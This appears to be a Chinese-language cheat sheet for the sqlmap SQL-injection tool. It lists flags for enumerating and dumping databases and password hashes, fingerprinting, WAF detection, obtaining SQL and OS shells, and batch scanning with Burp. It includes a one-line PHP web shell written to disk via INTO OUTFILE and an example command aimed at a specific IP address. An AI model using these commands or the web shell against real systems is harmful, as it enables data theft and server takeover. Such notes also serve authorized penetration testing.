Sqlmap使用
Sqlmap项目下载地址
sqlmap注入方法
sqlmap支持五种不同的注入模式:
Sqlmap常规命令: - sqlmap -u url 指定目标url跑
- sqlmap -r head.txt 抓包指定header头信息跑.-r指定文件
- 跑数据:
- --dbs 跑数据库
- -D 指定数据库
- --tables 跑表名
- -T 指定表名
- --columns 跑字段
- -C 指定字段
- --dump 提取数据
- --count 获取表的数量
- 参数:
- --batch batch:自动选yes。
- --banner 查看数据库版本信息
- -smart 启发式快速判断,节约时间。
- --flush-session 清空session缓存,重新扫描该目标
- -z flu 缩写,忘记可短写,删除缓存
- --random-agent 随机请求头
- --user-agent="某请求头" 指定某请求头
- --level x sqlmap扫描等级(1-5)
- --threads x 设置测试线程数(1-10),默认线程1,可以自己改大的线程
- --risk x (1-3)默认为1会测试大部分语句,2会增加基于事件的测试语句,3会增加or语句的SQL注入测试
- sqlmap注入监测:
- 共有7个等级,默认为1
- 命令: -v 1-7
- 0、只显示python错误以及严重的信息。
- 1、同时显示基本信息和警告信息。(默认)
- 2、同时显示debug信息。
- 3、同时显示注入的payload。
- 4、同时显示HTTP请求。
- 5、同时显示HTTP响应头。
- 6、同时显示HTTP响应页面。
- 注:如果你想的测试payload最好的等级就是3。
复制代码
Sqlmap命令操作: - 查看数据库相关信息:
- --current-user 枚举当前用户
- --current-db 枚举当前数据库
- --dbs 枚举可用的数据库
- --is-dba 枚举数据库权限
- --passwords 枚举数据库用户密码
- 指纹识别:
- -f/--fingerprint 执行检查广泛的DBMS版本指纹
- -b/--banner 检测数据库指纹
- --hostname 枚举主机名称
- Waf识别:
- --identify-waf 检测waf信息
- 当url有多个参数值时:
- -p 参数 #当显示302重定向时可以添加Cookie值进行扫描
- 指定Cookie进行扫描:
- --cookie="Cookie值" #当需要登录时才可以扫面出漏洞
复制代码
sqlmap -shell命令: - 数据库操作:
- --sql-shell #产生一个交互式的sql shell,用来执行sql命令
- 执行操作系统命令:
- --os-cms=dir #也会生成上传脚本文件和后门文件,执行完后会删除文件。当选完脚本后直接退出sqlmap就会永久存在不会删除
- 交互式的系统操作的shell:
- --os-shell #产生交互式的操作系统的shell,用来执行cmd命令
- --os-shell 系统操作的要求:
- (1)网站必须是root权限 #可用--is-dba来确认是否为root权限(当返回True时是管理员权限)
- (2)攻击者需要知道网站的绝对路径 #利用报错信息来确认绝对路径
- (3)GPC(魔术引号)为off,php主动转义的功能关闭 #php转义再PHP5.3.0废弃并将自PHP5.4.0起移除
- (4)secure_file_priv为空 show global variables like '%secure%';
-
- 使用—os-shell之后会生成两个文件
- 1.上传脚本文件
- 2.后门文件
- 写入一句话木马:select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "C:\\phpStudy\\WWW\\1.php";
复制代码
sqlmap更新: - git clone https://github.com/sqlmapproject/sqlmap
复制代码
sqlmap支持五种不同的注入模式:
- 基于布尔的盲注( B):即可以根据返回页面判断条件的真假注入
- 基于时间的盲注(T):既不能根据页面返回内容判断任何任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 基于报错注入(E):即页面返回错误信息,或者把注入的语句的结果直接返回页面中
- 联合查询注入(U):可以使用union的情况下的注入
堆查询注入(S):可以同时执行多条语句的注入
注意:可以用--technique来指定要使用哪种注入模式,快速扫描 --technique BEUST(可单独或混合指定注入模式进行快速扫描)
Burp+Sqlmap批量测试
Burp+Sqlmap批量测试命令 - 扫描多个数据包头:
- sqlmap.py -l burp.log --batch --smart 扫描burp生成的log包
- --scope="匹配log内容选择扫描(正则)"
- 代理监听Sqlmap测试语句:
- python sqlmap.py -u "http://59.63.200.79:8804/single.php?id=1" --proxy=http://127.0.0.1:8080 查看历史记录测测试语句
复制代码
Burp生成log流程图:
|